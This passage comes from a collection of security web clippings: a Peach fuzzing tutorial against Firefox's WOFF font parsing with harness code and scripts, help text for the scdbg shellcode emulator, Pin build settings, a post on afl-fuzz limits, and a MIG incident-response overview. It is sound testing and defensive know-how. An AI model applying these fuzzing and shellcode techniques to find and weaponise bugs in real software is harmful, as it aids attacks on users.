    _handleNode(FontTables): type=blob, realpos=0, pos=0, rating=4 <<EXIT
    _handleBlock(WOFF): Rating: (4) [None]: FontTables = [None]
    _handleBlock(WOFF): Child rating sucks, exiting
    BLOCK RATING: 4
    <--- WOFF (0)
    _handleNode(WOFF): type=template, realpos=2044, pos=2044, rating=4 <<EXIT
    RATING: 4 - POS: 2044 - LEN(DATA): 4704
    WARNING: Did not consume all data!!!
    Done cracking stuff
    
[/code]

Note that rating of 4 and the "WARNING: Did not consume all data\!\!\!". The
"Child rating sucks, exiting" isn't necessarily bad, though if it's one of the
last things in the output then it's likely you'll see the rating of 4 and lack
of consuming all data \(and thus failure\).

We could now actually use this simple DataModel if we wanted. Let's see what
it looks like when we don't tell Peach to stop after one iteration \(and not
showing debug output\):

[code]

    $ ~/peachenv/bin/python peach.py woff.xml
    
    [*] Optmizing DataModel for cracking: 'WOFF'
    [*] Cracking data from /tmp/SomeRealFont.woff into WOFF
    [*] Total time to crack data: 1.47
    [*] Building relation cache
    [*] Starting run "DefaultRun"
    [-] Test: "TheTest" (None)
    [1:?:?] Element: N/A
            Mutator: N/A
    
    [2:45521:?] Element: N/A
                Mutator: BitFlipperMutator
    
    [3:45521:?] Element: N/A
                Mutator: DataTreeRemoveMutator
    
    [4:45521:?] Element: N/A
                Mutator: BlobMutator
    
    [5:45521:?] Element: N/A
                Mutator: BitFlipperMutator
    
    [6:45521:?] Element: N/A
                Mutator: DataTreeSwapNearNodesMutator
    
    [7:45521:?] Element: N/A
                Mutator: DWORDSliderMutator
    
    [8:45521:?] Element: N/A
                Mutator: BlobMutator
    ...
    
[/code]

Each record in the ouput starts with "\[8:45521:?\]". The first number is the
iteration number Peach is currently on. The second number is the total number
of iterations Peach is going to do based on our DataModel and the input file
we provided. Note that as the DataModel becomes more detailed, the number of
iterations Peach will be able to do goes up. This is because Peach can be more
intelligent with manipulating specific parts of the data, and thus the total
number of permutations grows. The last part, where the "?" is shown, will
become a total time estimate once Peach has an idea of how long it will take
to complete all of the iterations.

Let's get back to improving our DataModel. For the time being, we won't show
the entire XML file. We'll only show the DataModel portions.

The very simple DataModel we started with was just this:

[code]

    <DataModel name="WOFF">
        <Blob name="WOFFHeader" length="44" />
        <Blob name="TableDirectoryEntry" length="20" maxOccurs="100" />
        <Blob name="FontTables" />
    </DataModel>
    
[/code]

That is just saying that there's a 44 byte header blob \(blob = binary data
that Peach doesn't know whether it expects to be a Number, a String, etc.\).
Next is a 20-byte TableDirectoryEntry that is repeated up to 1000 times. Next
is all of the FontTables. This doesn't give Peach a very good idea of how to
crack a file. That is, it has no way to determine how many table directory
entries there really are when it cracks the file we provide. Is it zero? Is it
567? This is clearly something we'll want to improve.

If you looked at the WOFF spec, you'd see we actually left out two parts from
the end of the file: additional metadata and private data. Depending on how
Peach decides to crack the file based on our simple DataModel, these will
either end up as part of the FontTables or even partially or fully interpreted
as TableDirectoryEntry blobs.

One word of caution: there are two different representations of amount of
data: size and length. The attribute "size" means bits. The attribute "length"
means bytes.

Let's refine our model so that Peach can more accurately understand the
WOFFHeader. This brings up the idea of DataModel templates. When you use the
attribute "name" in any of these XML records, it tells Peach it's a real
thing. When you use the attribute "ref", it tells Peach that you are using
another DataModel as a starting point. An example helps, so here's our
DataModel with expanded WOFFHeader:

[code]

    <DataModel name="WOFFHeaderTemplate">
        <!-- 0x774F4646 == 'wOFF' -->
        <Number name="signature" size="32" signed="false" endian="big"
            value="0x774F4646" />
        <Choice>
            <!-- True Type fonts: 0x00010000 -->
            <Number name="flavor" size="32" signed="false" endian="big"
                value="0x00010000" />
            <!-- CFF fonts: 0x4F54544F == 'OTTO' -->
            <Number name="flavor" size="32" signed="false" endian="big"
                value="0x4F54544F" />
        </Choice>
        <Number name="length" size="32" signed="false" endian="big" />
    
        <Number name="numTables" size="16" signed="false" endian="big" />
    
        <Number name="reserved" size="16" signed="false" endian="big"
            value="0" />
        <Number name="totalSfntSize" size="32" signed="false" endian="big" />
        <Number name="majorVersion" size="16" signed="false" endian="big" />
        <Number name="minorVersion" size="16" signed="false" endian="big" />
        <Number name="metaOffset" size="32" signed="false" endian="big" />
        <Number name="metaLength" size="32" signed="false" endian="big" />
        <Number name="metaOrigLength" size="32" signed="false" endian="big" />
        <Number name="privOffset" size="32" signed="false" endian="big" />
        <Number name="privLength" size="32" signed="false" endian="big" />
    </DataModel>
    
    <DataModel name="WOFF">
        <Block name="WOFFHeader" ref="WOFFHeaderTemplate" length="44" />
        <Blob name="TableDirectoryEntry" length="20" maxOccurs="100" />
        <Blob name="FontTables" />
    </DataModel>
    
[/code]

All we've done here is give Peach a more detailed understanding of the 44-byte
WOFF header. There's nothing fancy going on here yet other than we did this
using a "ref" attribute so just so we could keep the main data model we called
WOFF easy to read. Along with this change, we also changed WOFFHeader to be a
Block rather than a Blob. If you are using "ref" in this way, you should
generally be doing so from Block elements.

The above more-detailed WOFFHeader is fairly self-explanatory. For more info,
see the Peach DataModel documentation.

Now that we've made this change, we want to test it again to make sure Peach
still can crack our original file. To do so, run peach on the file with the
arguments "-1 --debug" again and make sure the output ends by indicating that
the file was successfully cracked.

Caution: When developing these DataModels, it helps to think about what Peach
might try to do with the information you've provided. Keep in mind that Peach
is not a perfect tool. For example, it turns out \(as discovered by time-
wasted trial-and-error\) that Peach isn't always smart enough to determine the
size of a block even if there is no ambiguity in the definition and the sizes
of each element in the block are defined. Thus, even though Peach should be
able to figure out that the WOFFHeader is 44 bytes, it's a good idea to just
go ahead and say length="44" and save yourself some possible frustration.

Our next improvement to the DataModel will be to tell Peach that there's a
correlation between one of the fields in the WOFFHeader and the number of
FontDirectoryEntry blocks it should expect to see. What we do is replace the
existing

[code]

    <Number name="numTables" size="16" signed="false" endian="big" />
    
[/code]

with the following:

[code]

    <Number name="numTables" size="16" signed="false" endian="big">
        <Relation type="count" of="TableDirectoryEntry" />
    </Number>
    
[/code]

The Relation tag with type="count" tells Peach that this number will equal the
number of TableDirectoryEntry blocks that occur.

After this change, we re-test our DataModel with "-1 --debug". It still looks
good.

Now we want to provide more detail about the TableDirectEntry blocks \(which
we still have listed as just 20-byte blobs at the moment\). For brevity, the
following leaves out the WOFFHeaderTemplate, as we aren't changing that here.

[code]

    <DataModel name="TableDirectoryEntryTemplate">
        <String name="tag" size="32" signed="false" endian="big" />
        <Number name="offset" size="32" signed="false" endian="big" />
        <Number name="compLength" size="32" signed="false" endian="big" />
        <Number name="origLength" size="32" signed="false" endian="big" />
        <Number name="origChecksum" size="32" signed="false" endian="big" />
    </DataModel>
    
    <DataModel name="WOFF">
        <Block name="WOFFHeader" ref="WOFFHeaderTemplate" />
        <Block name="TableDirectoryEntry" ref="TableDirectoryEntryTemplate"
            length="20" maxOccurs="1000" />
        <Blob name="FontTables" />
    </DataModel>
    
[/code]

This is a very good time to re-check how well Peach can crack a file.

So, now we have Peach to the point where it understands where the individual
fields are in the WOFF header, it understand that one of the fields
corresponds to the number of table directory entries, and it understand where
the individual fields are in those table directory entries. The question is,
can we do better?

A great area to improve would be to have Peach understand the offset and
compLength fields. From there, even having it understand that the font data
each table directory entry refers to is \(or can be\) compressed and be able
to decompress the data and understand the checksum and origLength. However,
all of this got very quickly frustrating with Peach. Some of this may seem
easier than others \(e.g. the compLength, but even that is the length without
padding and each entry is 4-byte padded\). At this point, one just has to
decide whether what you have so far is going to result in worthwhile fuzzing
and, if it is, how much additional value do you think you'll get from the more
detailed model.

For this file format, we stopped here for now. Let's move on to getting the
fuzzing up and running.

##  Custom Peach Publisher

In Peach, publishers do the work of performing I/O, whether that's writing
fuzzer-generated files to disk or interacting with a network service. There
are multiple built-in publishers. We're going to use our own, simple publisher
rather than those that are provided.

The publisher we want is going to be an HTTP server that will serve requests,
some of which will be responded to with fuzzed data. For our situation of WOFF
file fuzzing, we want Firefox to load an HTML page provided by the fuzzer
which tells Firefox to load a font file that is also provided by the fuzzer.

The following file, httpserver.py, is our custom publisher. This just takes
one Peach-generated WOFF file at a time and waits for a request for a WOFF
file before grabbing another from Peach.

[code]

    '''
    Simple HTTP server publisher for the Peach fuzzing framework.
    
    @author: Mozilla
    @contributor: Justin Samuel <js@justinsamuel.com>
    @see: https://wiki.mozilla.org/Security/Fuzzing/Peach
    @see: http://peachfuzzer.com/CustomPublisher
    '''
    
    import BaseHTTPServer
    import Queue
    import sys
    
    from Peach.publisher import Publisher
    
    
    # The address and port that the webserver we run listens on.
    SERVER_ADDRESS = 'localhost'
    SERVER_PORT = 8111
    
    # After each fuzzed file is served, a copy of it will be stored in this file.
    # Thus, if Firefox crashes after requesting the file and no further fuzzed
    # files are requested, this will be the file that caused the crash. Note that
    # if this is not saved for some reason, it can be regenerated by knowing which
    # test number Peach was on when the crash happened. A new round of testing can
    # be resumed at that number as long as the xml file passed to peach is the same
    # in addition to any files referenced by that xml file being the same (i.e.
    # the original file that is being modified to create each fuzz file).
    SAVE_LAST_FUZZ_FILENAME = "/tmp/last_fuzzfont.woff"
    
    # The static index file to serve when requests for '/' are received.
    INDEX_FILE_DATA = open('/tmp/webroot/index.html').read()
    
    http_server = None
    
    fuzzq = Queue.Queue()
    
    
    class FuzzHttpServer(BaseHTTPServer.HTTPServer):
        allow_reuse_address = True
    
    
    class FuzzRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
        def do_GET(self):
            # Use self.path to respond different based on the requested path.
            # Use self.server to get the server object.
            if self.path == "/":
                self._serveData(INDEX_FILE_DATA)
            elif self.path.startswith("/fuzzfont.woff"):
                self._fuzzFont()
            else:
                self.send_error(404)
    
        def _serveData(self, data):
            self.send_response(200)
            self.send_header("Content-Length", len(data))
            self.send_header("Content-Type", "text/html")
            self.end_headers()
            self.wfile.write(data)
    
        def _fuzzFont(self):
            fuzzdata = fuzzq.get()
            self.send_response(200)
            self.send_header("Content-Length", len(fuzzdata))
            self.send_header("Content-Type", "text/plain")
            # Access control header useful if serving some of the other files
            # from apache, for example, and thus from a different port.
            self.send_header("Access-Control-Allow-Origin", "*")
            self.end_headers()
            self.wfile.write(fuzzdata)
            fp = open(SAVE_LAST_FUZZ_FILENAME, 'wb')
            fp.write(fuzzdata)
            fp.close()
    
    
    class HttpServerPublisher(Publisher):
        '''
        Each round of generation will result in the following calls:
        start
        connect
        send
        close
        stop
        '''
    
        def __init__(self):
            global http_server
            server_address = (SERVER_ADDRESS, SERVER_PORT)
            print "Starting server listening at %s:%s" % server_address
            sys.stdout.flush()
            http_server = FuzzHttpServer(server_address, FuzzRequestHandler)
            # Definining withNode prevents some peach error.
            self.withNode = False
    
        def start(self):
            pass
    
        def connect(self):
            pass
    
        def send(self, data):
            '''Peach calls this to provide us the fuzzer-generated data.'''
            fuzzq.put(data)
            print "waiting for next request"
            sys.stdout.flush()
            http_server.handle_request()
    
        def close(self):
            pass
    
        def stop(self):
            pass
    
        def property(self, property, value = None):
            pass
    
[/code]

To install this customer publisher, place the file in the Peach/Publishers/
directory and edit the \_\_all\_\_ list in Peach/Publisher/\_\_init\_\_.py to
include "httpserver". Note that this is not the recommended way of using
custom publishers.

The IP address our custom publisher's HTTP server will listen on is specified
in httpserver.py.

This httpserver.py file is also where the path to the static index.html file
is specified. For our WOFF fuzzing, the index.html file contains the
following:

[code]

    <html>
    <head>
    <title>Web Font Sample</title>
    <style type="text/css" media="screen, print">
    @font-face {
        font-family: "Bitstream Vera Serif Bold";
        src: url("http://localhost:8111/fuzzfont.woff");
    }
    body {
        font-family: "Bitstream Vera Serif Bold", serif;
    }
    </style>
    <script type="text/javascript">
    function load() {
        window.setTimeout('window.location.reload(true);', 200);
    }
    window.onload = load;
    </script>
    </head>
    <body>
    This is text displayed with a fuzzer-generated WOFF font.
    </body>
    </html>
    
[/code]

That is, it will reload itself \(avoiding cache\) 200ms after the page is
loaded. Each reload will end up receiving a different fuzzed WOFF file from
our Peach publisher. This fuzzed WOFF file is served from
http://localhost:8111/fuzzfont.woff in this example.

##  Prepare Firefox for Fuzzing

We want to ensure that core dumps will be useful and that failed assertions
cause crashes. We're going to use the fact that Firefox crashes as our
indication of a discovered bug.

We'll also run Firefox through Valgrind. Note that the setup we're showing
below will not cause immediate indication of an error from valgrind. Valgrind
doesn't have an option to crash on all errors. One could have valgrind drop
into gdb, which might be a better option then letting it continue in some
cases. Note that running through valgrind does make this quite slow, and if
one really needed to fuzz in a way that required Firefox restarts between each
test, then valgrind probably wouldn't be an option due to slowness.

Here's an example .mozconfig to use:

[code]

    ac_add_options --enable-application=browser
    
    ac_add_options --enable-debug-symbols
    # --enable-debug will result in debug code running and more debug output,
    # but it will also cause a 300 second sleep at crash which, if one doesn't
    # let it finish and just kills the process, will result in no core dump.
    # For our current purposes, the extra debug code and output isn't needed.
    # At least, I don't think using it will help find more bugs during fuzzing,
    # but I may be wrong.
    #ac_add_options --enable-debug
    
    ac_add_options --enable-crash-on-assert
    ac_add_options --disable-crashreporter
    
    # https://developer.mozilla.org/en/Debugging_Mozilla_with_valgrind
    ac_add_options --enable-valgrind
    ac_add_options --disable-jemalloc
    ac_add_options --disable-optimize
    # This level of optimization is unlikely to impact usability of core
    # dumps and may significantly improve speed under valgrind. Faster means
    # more fuzzing if processing time is the bottleneck.
    #ac_add_options --enable-optimize="-O -freorder-blocks"
    
[/code]

While getting your fuzzer setup, you'll want a build of Firefox that has bugs
your fuzzer will quickly find. So, you'll want to introduce a bug in something
your fuzzer is testing. You can do this now or later, but this will be
essential at some point. If your fuzzer doesn't properly record/notify about
interesting things it finds, then you might miss the fact that it discovered
bugs or not have enough data to reproduce or diagnose the issue.

Create a Firefox profile to be used for fuzzing. We'll call it fuzz. Next, run
this profile and change a few things in about:config.

[code]

    browser.shell.checkDefaultBrowser = false
    browser.sessionstore.resume_from_crash = false
    browser.startup.homepage = http://localhost:8111/
    
[/code]

This assumes that we've setup our httpserver publisher in Peach to serve
requests on http://localhost:8111/

##  Running the Fuzzer

Now we are ready to actually do our fuzzing.

A good way to do this is to use screen, with a couple of terminals running in
the screen session. In one of the terminals we'll start Peach \(which will be
serving our fuzzed files\), in another we'll watch the Peach logs, and in a
third we'll start Firefox.

Here's a script to start Peach \(and thus our fuzz data webserver\):

[code]

    #!/bin/bash
    
    FUZZ_ROOT=/home/fuzzuser/peach
    PYTHON=$FUZZ_ROOT/virtenv/bin/python
    PEACH_PY=$FUZZ_ROOT/Peach-2.3.6/peach.py
    PEACH_ARGS=""
    #PEACH_ARGS="-1 --debug"
    PEACH_XML=$FUZZ_ROOT/woff.xml
    # This is different from the Peach log directory defined in the
    # PEACH_XML file.
    PEACH_OUTPUT_LOG=$FUZZ_ROOT/peach.output.log
    
    if [ "`ps -ef | grep firefox-bin` | grep -v grep" == "" ]; then
        echo "Warning: firefox doesn't appear to be running."
        echo "Make sure you run firefox_fuzz_start.sh"
    fi
    
    echo "Logging peach.py output to $PEACH_OUTPUT_LOG"
    echo "Running command: $PYTHON $PEACH_PY $PEACH_ARGS $PEACH_XML >$PEACH_OUTPUT_LOG 2>1"
    $PYTHON $PEACH_PY $PEACH_ARGS $PEACH_XML >$PEACH_OUTPUT_LOG 2>&1
    
[/code]

Here's a script to start Firefox:

[code]

    #!/bin/bash
    
    # Using the command "xvfb-run" will run firefox with a virtual framebuffer so
    # that you don't have to use X forwarding.
    XVFB=""
    #XVFB="xvfb-run"
    
    # Unfortunately there isn't any way to ask Valgrind to exit immediately
    # when it detects a memory error. So we enable timestamp logging and
    # hope we can correlate it back to which fuzz file is being used based
    # on fuzzer logs. Another option would be to have 
    #VALGRIND=""
    VALGRIND="valgrind --trace-children=yes --time-stamp=yes"
    VALGRIND="$VALGRIND --quiet"
    VALGRIND="$VALGRIND --log-file=valgrind.log"
    VALGRIND="$VALGRIND --error-exitcode=123"
    
    # Have a core dump generated in this script's directory.
    cd `dirname $0`
    ulimit -c unlimited
    
    FX_BIN_DIR=/home/fuzzuser/moz/mozilla-central/dist/bin
    FX_BIN=firefox-bin
    FX_ARGS="-no-remote -P fuzz"
    
    export LIBRARY_PATH=$FX_BIN_DIR:$FX_BIN_DIR/components
    export LD_LIBRARY_PATH=$FX_BIN_DIR:$FX_BIN_DIR/plugins
    
    export NSPR_LOG_FILE=/home/fuzzuser/moz/fxlog.txt
    export NSPR_LOG_MODULES=userfonts:5
    
    $XVFB $VALGRIND $FX_BIN_DIR/$FX_BIN $FX_ARGS
    
[/code]

If you're running remotely, then you'll either need to have ssh'd in with X
forwarding \(ssh -X\) or use Xvfb to have a "fake" X server. If you use Xvfb,
you'll at least want to run with X forwarding a little first to make sure
everything is working like you expect.

To run with Xvfb:

[code]

    sudo apt-get install xvfb
    
[/code]

And set XVFB\_COMMAND to "xvfb-run" in the Firefox start script.

For reference, this example fuzzing run took 8 hours when not run through
Valgrind and is estimated to take 185 hours when running through valgrind.

##  Additional Thoughts

The above instructions have shown a very simple usage of Peach to fuzz
Firefox. Other approaches could involve using Peach's ability to start a new
process for every test to have it start a new Firefox process for each test,
fixing the Linux debugger support or trying Peach on Windows/Mac which may
have better debugger integration, generating static files that get fed to
Firefox rather than the publisher running an HTTP server, and fuzzing against
shared libraries rather than a running instance of Firefox.

This example also lacks notification of when the fuzzer has finished or
encountered a "successful" fuzz case \(found a bug\). If fuzzing is long-
lived, then one will probably want monitoring and notification if fuzzing
stops. Possibly the easiest solution would be to have a separate script
running that just monitors the peach and firefox processes and sends an email
to notify of either one not running anymore.

# OpenRCE

**Created:**| _4/7/2011 4:57:02 PM_  
---|---  
**Updated:**| _4/7/2011 4:57:02 PM_  
**Author:**| __  
**Tags:**| _shellcode reversing analysis_  
  

here is a project i have been playing with that I thought I would share.  
  
scdbg is a shellcode analysis application \(based on sctest\) which uses the
libemu emulation library.  
  
It has been modified to include more output for manual RE  
as well as add basic debugging capabilities.  
  
libemu homepage  
http://libemu.carnivore.it/  
  
scdbg Binaries / Source / Screen shots:  
http://sandsprite.com/blogs/index.php?uid=7&pid=152  
  
Video demo  
http://sandsprite.com/CodeStuff/scdbg.wmv  
  
more details on mem monitor mode  
http://sandsprite.com/blogs/index.php?uid=7&pid=158  
  
`  
Additions include:  
+ support for user32, shell32, ntdll, wininet  
+ ~17 new api hooks  
+ display of return addresses, file offsets, step counts  
+ ability to start logging at target addresses/step counts  
+ ability to set breakpoints, scan for specific instructions  
+ ability to single step, step over, execute till return  
+ ability to dump decoded shellcode from memory, dump allocs  
+ interactive debug shell to stop and examine registers or memory  
+ basic support for SEH and shellcode which patches UEF  
+ monitoring of read/writes to key addresses to determine  
how the shellcode operates, which lists it walks, and if it  
trys to detect hooks on WinApi or if it patches any API  
  
  
Help screen below  
  
_______________  
| |  
| |  
| libemu |  
| x86 emulation |  
| |  
| |  
| |  
\ O |  
\______________| build: 0.2.dz  
  
-----[ libemu - x86 shellcode emulation ]-----  
Copyright (C) 2007 Paul Baecher & Markus Koetter  
  
/hex show hex dumps for hook reads/writes  
/findsc Scans file for possible shellcode buffers (getpc mode)  
/foff hexnum starts execution at file offset  
/mm enables Memory Monitor to log access to key addresses.  
/mdll uses Memory Monitor to log direct access to dll memory (detect hooks)  
/nc no color (if using sending output to other apps)  
/S < file.sc read shellcode/buffer from stdin  
/f fpath load shellcode from file specified.  
/o hexnum base offset to use (default: 0x401000)  
/redir ip:port redirect connect to ip (port optional)  
/G fpath save a dot formatted callgraph in filepath  
/i enable interactive hooks  
/v verbosity, can be used up to 4 times, ex. /v /v /vv  
/e int verbosity on error (3 = debug shell)  
/t int time to delay (ms) between steps when v=1 or 2  
/h show this help  
/bp hexnum set breakpoint (shortcut for -laa <hexaddr> -vvv)  
/bs int break on step (shortcut for -las <int> -vvv)  
/a adjust offsets to file offsets not virtual  
/d dump unpacked shellcode if changed (requires /f)  
/las int log at step ex. -las 100  
/laa hexnum log at address ex. -laa 0x401020  
/s int max number of steps to run (def=1000000, -1 unlimited)  
  
dbg> shell prompt commands:  
? - help, this help screen, h also works  
v - change verbosity (0-4)  
g - go - continue with v=0  
s - step, continues execution, ENTER also works  
c - reset step counter  
r - execute till return (v=0 recommended)  
u - unassembled address  
b - break at address  
m - reset max step count (-1 = infinate)  
e - set eip  
w - dWord dump,(32bit ints) prompted for hex base addr and then size  
d - Dump Memory (hex dump) prompted for hex base addr and then size  
x - execute x steps (use with reset step count)  
t - set time delay (ms) for verbosity level 1/2  
k - show stack  
i - break at instruction (scans disasm for next string match)  
f - dereF registers (show any common api addresses in regs)  
o - step over  
.lp - lookup - get symbol for address  
.pl - reverse lookup - get address for symbol  
.seh - shows current value at fs[0]  
.reg - manually set register value  
.poke1 - write a single byte to memory  
.poke4 - write a 4 byte value to memory  
.savemem - saves a memdump of specified range to file  
q - quit`

# Piotr Bania Chronicles http://blog.piotrbania.com: Compling PinTools with
Microsoft Visual Studio \(MSVC9\)

**Created:**| _6/4/2011 6:29:18 PM_  
---|---  
**Updated:**| _6/4/2011 6:29:44 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation windows programming_  
  

### Compling PinTools with Microsoft Visual Studio \(MSVC9\)

After hearing some good reviews about Pin DBI framework I have decided to give
it a chance. I have downloaded the version for MSVC9 and tried to compile a
sample project with MSVC9. That was the point where my problems started.
Actually there is very minimal amount of information at the Pin website
regarding using it with Microsoft Visual Studio \(and the sample project file
is pretty useless\). Of course I have built the sample tools with "nmake"
command successfully but I wanted to do the same straight from my MSVC. So I
have spent line an hour \(or two\) fighting with massive numbers of compiler,
linker \(unresolved externals\) errors until the build was done correctly.
Surprisingly after running Pin with my PinTool it returned another error: "Pin
2.9 kit 39586E: Failed to load tool DLL. System error: Unknown error.". Well
at this point I'm still not really sure what was wrong but after doing a lot
of trial and error tests I have managed to create a MSVC configuration that
actually works \(at least for me\). So here it is maybe someone will find it
helpful. \(Please note it may contain some redundant switches but it should be
good enough for a start point.\) For release configuration simply remove the
"\DEBUG" switches.  
  
  
So here are the steps:  
**" E:\pin" is the pin base directory**.  
  
**Include directories** :  
E:\pin\extras\components\include\  
E:\pin\extras\xed2-ia32\include  
E:\pin\source\include\gen  
E:\pin\source\include  
<img src='img/Temp2_6246.png' width='70%' height='70%' />  
  
**Library directories** :  
E:\pin\ia32\lib-ext  
E:\pin\extras\xed2-ia32\lib  
E:\pin\ia32\lib  
<img src='img/Temp2_6243.png' width='70%' height='70%' />  
**  
Preprocessor Definitions** :  
TARGET\_IA32;HOST\_IA32;TARGET\_WINDOWS;USING\_XED  
<img src='img/Temp2_6244.png' width='70%' height='70%' />  
  
**Compiler options** :  
/MT /EHs- /EHa- /wd4530 /DTARGET\_WINDOWS /DBIGARRAY\_MULTIPLIER=1  
/DUSING\_XED /D\_CRT\_SECURE\_NO\_DEPRECATE /D\_SECURE\_SCL=0 /nologo
/DTARGET\_IA32 /DHOST\_IA32  
<img src='img/Temp2_6245.png' width='70%' height='70%' />  
  
**Linker options** :  
/DLL /EXPORT:main /NODEFAULTLIB /NOLOGO /ENTRY:Ptrace\_DllMainCRTStartup@12
ntdll-32.lib libxed.lib pin.lib pinvm.lib libcmt.lib libcpmt.lib /DEBUG  
<img src='img/Temp2_6242.png' width='70%' height='70%' />  
  
  
Who knows maybe this will work for you :\)

# malware.one LOGIN

**Created:**| _3/7/2018 8:25:16 AM_  
---|---  
**Updated:**| _3/7/2018 8:25:16 AM_  
**Author:**| _wishi_  
**Tags:**| _bookmark Malware-analysis_  
  

  

>> Enter malware.one Login Information

* * *
malware.one is a binary substring searchable malware catalog containing
terabytes of malicious code.

If you do not have an account you can register here.

Username:|  
---|---  
Password:|  
|  
  

# Embedded in Academia : What afl-fuzz Is Bad At

**Created:**| _5/8/2015 10:16:07 AM_  
---|---  
**Updated:**| _5/8/2015 10:16:07 AM_  
**Author:**| __  
**Tags:**| _llvm fuzzing_  
  

# What afl-fuzz Is Bad At

American fuzzy lop is a polished and effective fuzzing tool. It has found tons
of bugs and there are any number of blog posts talking about that. Here we’re
going to take a quick look at what it isn’t good at. For example, here’s a
program that’s trivial to crash by hand, that afl-fuzz isn’t likely to crash
in an amount of time you’re prepared to wait:

|  `#include <stdlib.h>` `#include <stdio.h>` `int` `main(` `void` `) {`
`char` `input[32];` `if` `(` `fgets` `(input, 32, stdin)) {` `long` `n = `
`strtol` `(input, 0, 10);` `printf` `(` `"%ld\n"` `, 3 / (n + 1000000));` `}`
`return` `0;` `}`  
---|---  
The problem, of course, is that we’ve asked afl-fuzz to find a needle in a
haystack and its built-in feedback mechanism does not help guide its search
towards the needle. Actually there are two parts to the problem. First,
something needs to recognize that divide-by-zero is a crash behavior that
should be targeted. Second, the search must be guided towards inputs that
result in a zero denominator. A finer-grained feedback mechanism, such as how
far the denominator is from zero, would probably do the job here.
Alternatively, we could switch to a different generation technology such as
concolic testing where a solver is used to generate test inputs.

The real question is how to get the benefits of these techniques without
making afl-fuzz into something that it isn’t — making it worse at things that
it is already good at. To see why concolic testing might make things worse,
consider that it spends a lot of time making solver calls instead of actually
running tests: the base testing throughput is a small fraction of what you get
from plain old fuzzing. A reasonable solution would be to divide up the
available CPU time among strategies; for example, devote one core to concolic
testing and seven to regular old afl-fuzz. Alternatively, we could wait for
afl-fuzz to become stuck — not hitting any new coverage targets within the
last hour, perhaps — and then switch to an alternate technique for a little
while before returning to afl-fuzz. Obviously the various search strategies
should share a pool of testcases so they can interact \(afl-fuzz already has
good support for communication among instances\). Hopefully some concolic
testing people will spend a bit of time bolting their tools onto afl-fuzz so
we can play with these ideas.

A variant of the needle-in-a-haystack problem occurs when we have low-entropy
input such as the C++ programs we would use to test a C++ compiler. Very few
ascii strings are C++ programs and concolic testing is of very little help in
generating interesting C++. The solution is to build more awareness of the
structure of C++ into the testcase generator. Ideally, this would be done
without requiring the somewhat elaborate effort we put into Csmith. Something
like LangFuzz might be a good compromise. \(Of course I am aware that afl-fuzz
has been used against clang and has found plenty of ways to crash it\! This is
great but the bugs being found are not the kind of semantic bugs that Csmith
was designed to find. Different testcase generators solve different
problems.\)

So we have this great fuzzing tool that’s easy to use, but it also commonly
runs up against testing problems that it can’t solve. A reasonable way forward
will be for afl-fuzz to provide the basic framework and then we can all build
extensions that help it reach into domains that it couldn’t before. Perhaps
Valgrind is a good analogy: it provides not only an awesome baseline tool but
also a rich infrastructure for building new tools.

\[Pascal Cuoq gave me some feedback on this post including a bunch of ideas
about afl-fuzz-related things that he’ll hopefully blog about in the near
future.\]

# MIG: Mozilla InvestiGator by mozilla

**Created:**| _6/22/2015 10:55:26 AM_  
---|---  
**Updated:**| _6/22/2015 10:56:53 AM_  
**Author:**| __  
**Tags:**| _Forensics incident response_  
  

# MIG: Mozilla InvestiGator

## Mozilla's platform for real-time digital forensics and incident response of
modern infrastructures

MIG is a platform to perform investigative surgery on remote endpoints. It
enables investigators to obtain information from large numbers of systems in
parallel, thus accelerating investigation of incidents and day-to-day
operations security.| Watch on YouTube  
---|---  
MIG is composed of agents installed on all systems of an infrastructure that
are be queried in real-time to investigate the file-systems, network state,
memory or configuration of endpoints.

It's an army of Sherlock Holmes, ready to interrogate your infrastructure
within seconds.

Capability| Linux| MacOS| Windows  
---|---|---|---  
file inspection| <img src='img/Temp2_5000.png' alt='check' />| <img
src='img/Temp2_5000.png' alt='check' />| <img src='img/Temp2_5000.png'
alt='check' />  
network inspection| <img src='img/Temp2_5000.png' alt='check' />| <img
src='img/Temp2_5000.png' alt='check' />| \(partial\)  
memory inspection| <img src='img/Temp2_5000.png' alt='check' />| <img
src='img/Temp2_5000.png' alt='check' />| <img src='img/Temp2_5000.png'
alt='check' />  
vuln management| <img src='img/Temp2_5000.png' alt='check' />| \(planned\)|
\(planned\)  
system auditing| \(planned\)| \(planned\)| \(planned\)  
Imagine that it's 7am on a saturday morning, and someone just released a
critical vulnerability for your favorite PHP application. The vuln is already
exploited and security groups are releasing indicators of compromise. Your
weekend isn't starting great, and the thought of manually inspecting thousands
of systems isn't making it any better.

MIG can help. The signature of the vulnerable PHP app \(an md5 of a file, a
regex on file, or just a filename\) can be searches for across all your
systems using the `file` module. Similarly, indicators of compromise such as
specific log entries, backdoor files with
\{md5,sha\{1,256,512,3-\{256,512\}\}\} hashes, IP addresses from botnets or
signature in processes memories can be investigated using MIG. Suddenly, your
weekend is looking a lot better. And with just a few command lines, thousands
of systems will be remotely investigated to verify that you're not at risk.

<img src='img/Temp2_4999.png' alt='MIG command line demo' />

## Concepts

### Easy to deploy, easy to operate

MIG agents are designed to be lightweight, secure, and easy to deploy so you
can ask your favorite sysadmins to add it to a base deployment without fear of
breaking the entire production network. All parameters are built into the
agent at compile time, including the list and ACLs of authorized
investigators. Security is enforced using PGP keys, and even if MIG's servers
are compromised, as long as our keys are safe on your investigator's laptop,
no one will break into the agents.

### Fast and asynchronous

MIG is designed to be fast, and asynchronous. It uses AMQP to distribute
actions to endpoints, and relies on Go channels to prevent components from
blocking. Running actions and commands are stored in a Postgresql database and
on disk cache, such that the reliability of the platform doesn't depend on
long-running processes.

Speed is a strong requirement. Most actions will only take a few hundreds
milliseconds to run on agents. Larger ones, for example when looking for a
hash in a big directory, should run in less than a minute or two. All in all,
an investigation usually completes in between 10 and 300 seconds.

### Strong security primitives

Privacy and security are paramount. Agents never send raw data back to the
platform, but only reply to questions instead. All actions are signed by GPG
keys that are not stored in the platform, thus preventing a compromise from
taking over the entire infrastructure.

## MIG Action Format

Mozilla InvestiGator uses signed JSON actions that represent the investigation
operation performed by a pool of agents. The JSON format is designed to be
easy to read and easy to write without the help of a program. The long term
goal is to allow investigators to share documents easily.

[code]

    {
      "name": "Shellshock IOCs (nginx and more)",
      "target": "queueloc like 'linux.%'",
      "threat": {
        "family": "malware",
        "level": "high"
      },
      "operations": [
        {
          "module": "file",
          "parameters": {
            "searches": {
              "iocs": {
                "paths": [
                  "/usr/bin",
                  "/usr/sbin",
                  "/bin",
                  "/sbin",
